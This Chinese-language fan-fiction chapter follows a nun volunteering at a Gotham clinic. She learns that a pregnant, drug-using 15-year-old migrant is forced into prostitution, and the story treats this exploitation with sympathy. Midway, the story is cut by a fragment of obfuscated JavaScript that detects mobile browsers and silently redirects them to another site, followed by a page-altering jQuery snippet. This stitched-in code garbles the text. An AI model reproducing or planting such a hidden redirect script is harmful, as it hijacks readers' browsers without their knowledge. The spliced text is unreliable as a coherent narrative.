疫苗筛查项目的第一个下午，汤普金斯医生的诊所比平时拥挤得多。
疫苗种类也就三种HIV、破伤风、流感，支数也不多，韦恩老爷心善，至少只让艾拉花了疫苗的成本价，还算能接受。
艾拉坐在诊所门口临时搭起的小桌后。桌上放着登记表、简易的检测试剂盒，以及一叠印着简单西班牙语和英语的健康宣传单。她的工作很简单：核对身份信息，询问基本情况，引导需要检测的人去诊所内的指定区域，等待结果，然后再引导完成检测的人去接种区。整个过程必须保证没有多余的询问，也没有同情的眼神。
来的人比预期的多，但也多不到哪去。东区就是这样——大多数人对“官方”或“机构”抱有本能的警惕。他们宁愿忍受痛苦，也不愿暴露自己的脆弱。那些真正走进诊所的人，要么已经到了走投无路的地步，要么……像索菲亚这样，太过年轻，还未学会这种警惕。
索菲亚·门德斯走进诊所时，艾拉正在为一个五十多岁的码头工人登记信息。那男人低着头，手指紧张地绞在一起，声音小得几乎听不见。艾拉耐心地重复着问题，笔尖在纸上沙沙作响。
艾拉的眼角余光瞥见一个瘦小的身影在门口徘徊。女孩看起来还未成年，穿着一条明显不合身的廉价T恤和牛仔裤，外面裹着一件破旧的男式夹克，试图掩盖住稚气和疲惫。
她在门口站了几秒，目光在诊所内扫视，最后落在艾拉身上——或许是那身修女服给了她某种安全感。
艾拉完成登记，示意男人可以进去检测了。他如释重负地快步离开。
“下一个。”艾拉抬起头，看向门口的女孩，声音平稳。
索菲亚走进来，脚步有些犹豫。她在小桌前停下，手不安地抓着夹克的下摆。
“名字？”艾拉拿起新的登记表。
“索菲亚……索菲亚·门德斯。”女孩的声音很轻，带着浓重的墨西哥口音。
“年龄？”
“十五。”
艾拉笔尖微顿，但脸上表情没有变化。她继续询问基本信息：住址，联系电话没有，紧急联系人只有一个名字：卡洛斯·门德斯，父亲。
“疫苗真的免费吗？”她小心翼翼的问、
“筛查和接种，”艾拉纠正道，语气依旧平和，“检测免费，疫苗也只有第一针是免费的。”
她顿了顿，看着索菲亚：“如果你需要后续，我可以帮你申请减免，但需要你提供身份证明。”
索菲亚的眼睛亮了一下，但很快又暗下去。“我……没有证明。”她小声说，“我没有身份。”
艾拉点点头，在表格上做了个记号。“没关系。先做检测吧。”
她站起身，引导索菲亚走进诊所内部。汤普金斯医生正在隔壁诊室处理一个伤口感染的病例，筛查区由她的助手负责——一个医学院三年级的学生，脸上还带着年轻人的紧张和认真。
“先做基本体格检查，然后抽血。”艾拉看向索菲亚，“别紧张，很快就好。”
索菲亚顺从地躺上检查床。助手开始测量血压、心率、体温。艾拉站在一旁，目光落在女孩裸露的小臂上——那里有几处新鲜的淤青，还有几个已经愈合的针孔痕迹。
她移开视线，看向窗外。哥谭难得一见的阳光在这个场景下都显得有些苍白无力。
检查进行到腹部触诊时，助手停了下来。她抬头看向艾拉，眼神里闪过一丝慌乱。
“怎么了？”艾拉问。
助手抿了抿嘴唇，她靠近艾拉，压低声音：“她……腹部有包块。而且……”她看向艾拉，“我觉得需要做进一步检查。”
艾拉走到床边，轻声对索菲亚说：“我们需要做一个尿液检测和简单的B超，确认一下情况。可以吗？”
索菲亚点点头，眼神里有些茫然，似乎不明白发生了什么。
结果在半小时后出来。
怀孕，三个月。HIV检测结果：阴性，暂时。血液检查显示，体内有多种毒品代谢物残留，包括□□和新型合成毒品的成分。
艾拉拿着报告，走进索菲亚所在的临时观察室。女孩正坐在椅子上，手里捧着一杯温水，小口小口地喝着。看到艾拉进来，她抬起头，眼神里有一丝期待。
“索菲亚，”艾拉在她对面坐下，声音放得很轻，“检测结果出来了。”
她把报告放在桌上，先问了两个问题：
“你知道自己怀孕了吗？”
索菲亚眨了眨眼，脸上的表情从茫然转为一种近乎天真的困惑。“怀孕？”她重复了一遍，然后摇摇头，“不知道。我月经……不准。有时候很久不来。”
艾拉点点头，继续问：“知道孩子的父亲是谁吗？”
“不知道。”她笑了，笑声里有一种不合时宜的轻松，“每天的接待客人太多了。还都不做安全措施。”
艾拉的笔尖在记录本上停顿了一秒，然后继续写下这句话。她抬起头，看着索菲亚，用尽量平和的语气说：
“你可以让他们带的。这样做也能减少其他疾病的风险。”
这句话她说得很轻，没有任何指责的意味，更像是一种……建议。
索菲亚的笑容僵了一下，然后她耸耸肩，语气变得满不在乎：“不戴赚的多呀，老大催得紧，不交钱要死啦。”
她顿了顿，又补充道，语气里带着一种近乎刻意的轻松：“我和爸爸都欠着赌债呢。一个月只能休息一天，来月经那天，上面还不能休息。”
艾拉的笔尖彻底停住了。
她看着索菲亚这，这个坐在诊所椅子上的十五岁女孩，用平淡的口吻说着自己被剥削、被压榨、被剥夺了所有选择的生活。她的脸上甚至还带着笑，仿佛这一切都是理所当然的，是生活的常态。
艾拉无声的吸了一口气，强迫自己的表情保持平静。她不能表现出任何情绪——不能是怜悯，不能是愤怒，不能是任何可能被索菲亚解读为“居高临下”或“侮辱”的东西。
“那家里还有人能帮你吗？”她声音依然平稳。
索菲亚的笑容消失了。
她低下头，手指无意识地抠着纸杯的边缘。过了很久，她才开口，声音很轻，轻得几乎听不见：
“偷渡的时候，妈妈长得漂亮，被蛇头用50美刀强行买走了。”
艾拉的心脏骤然收紧。
“爸爸拦不住，还被带去赌博，输了没钱，被打断了一只腿，没法工作。”索菲亚这么说着，而后她抬起头，眼神带着几分骄傲，“现在是我在养他。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984177|193601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>远处诊室传来的模糊交谈声，和窗外偶尔经过的车声。艾拉放下笔，看着索菲亚。她的目光依旧保持平静，但深处有一种沉重的东西在涌动。
“你可以带他来诊所。”她声音比刚才更柔和了些，“我们这边……还有抗生素和消炎药可以领。如果他腿伤还没好，明天带他来，我们可以帮忙看看。”
索菲亚眨了眨眼，似乎没反应过来。然后她露出一个带着点孩子气的笑容，眼睛亮了起来：“真的吗？”
“嗯。”艾拉点头，“随时都可以来。白天一般都开着。”
“好！”索菲亚用力点头，“我会带他来的。”
她站起身，似乎准备离开，但又停下来，看着艾拉：“那……疫苗还能打吗？”
“可以。”艾拉说，“等你身体状况稳定一些，再来接种。这段时间……尽量照顾好自己。”
她从抽屉里拿出一个小纸包，里面是几片复合维生素和一些叶酸。“这个每天吃一片。对你的身体有好处。”
索菲亚接过纸包，小心地塞进夹克口袋。然后她朝艾拉挥挥手，转身走出了观察室。
艾拉坐在椅子上，看着索菲亚瘦小的背影消失在诊所门口。
她低头，看向桌上那份报告。怀孕三个月。毒品阳性。十五岁。没有身份证明，意味着也没有补助可以领。
笔尖在纸上悬停了很久，最终落下，写下最后一行记录：
“建议：提供基础产前保健，密切关注毒品戒断情况。家属：父亲卡洛斯·门德斯，需医疗援助。”
她把报告归档，整理好桌上的登记表和宣传单。门外传来脚步声，下一个需要登记的人来了。
进来的是一个白人男子，大约四十岁，他的牙齿也烂了，笑的还挺开心。他身边跟着一个女人，不停地打着哈欠。
“打一针，没怀，快点。”男人把一张纸条拍在桌上，是汤普金斯医生开的诊断证明，确认女方没有怀孕。
艾拉拿起纸条看了看，抬头看向女人：“你自愿接种吗？”
女人点点头：“嗯。快点，我还得去工作.”
“打完疫苗还需要留观十五分钟。”艾拉头也没抬地说，“这是必要的安全流程。”
“不行，”男人立刻接着说，“我老婆少站一会，就会被刚才那些墨西哥女人抢生意。她们一次才几十刀。”他顿了顿，语气里带着一种近乎自豪的腔调：“我们都是白人，我老婆自愿的，一次能有一百呢。”
艾拉的笔尖在纸上划出一道轻微的划痕。
然后她低下头，继续填写登记表。
“请稍等。”她说，“医生助手会带你们去接种区。”
男人不满地嘟囔了几句，但没再说什么。
艾拉看着他们的背影消失在走廊尽头。
然后她重新坐下，拿起下一张空白的登记表。
笔尖在纸上沙沙作响，写下又一个名字，又一个故事。
窗外的天色渐渐暗下来，哥谭的夜晚即将开始。诊所里的灯光苍白而刺眼，照亮着一张张或麻木、或痛苦、或绝望的脸。
艾拉继续她的工作。
登记，引导，记录。
一个接一个。
直到所有人都离开，直到诊所恢复寂静。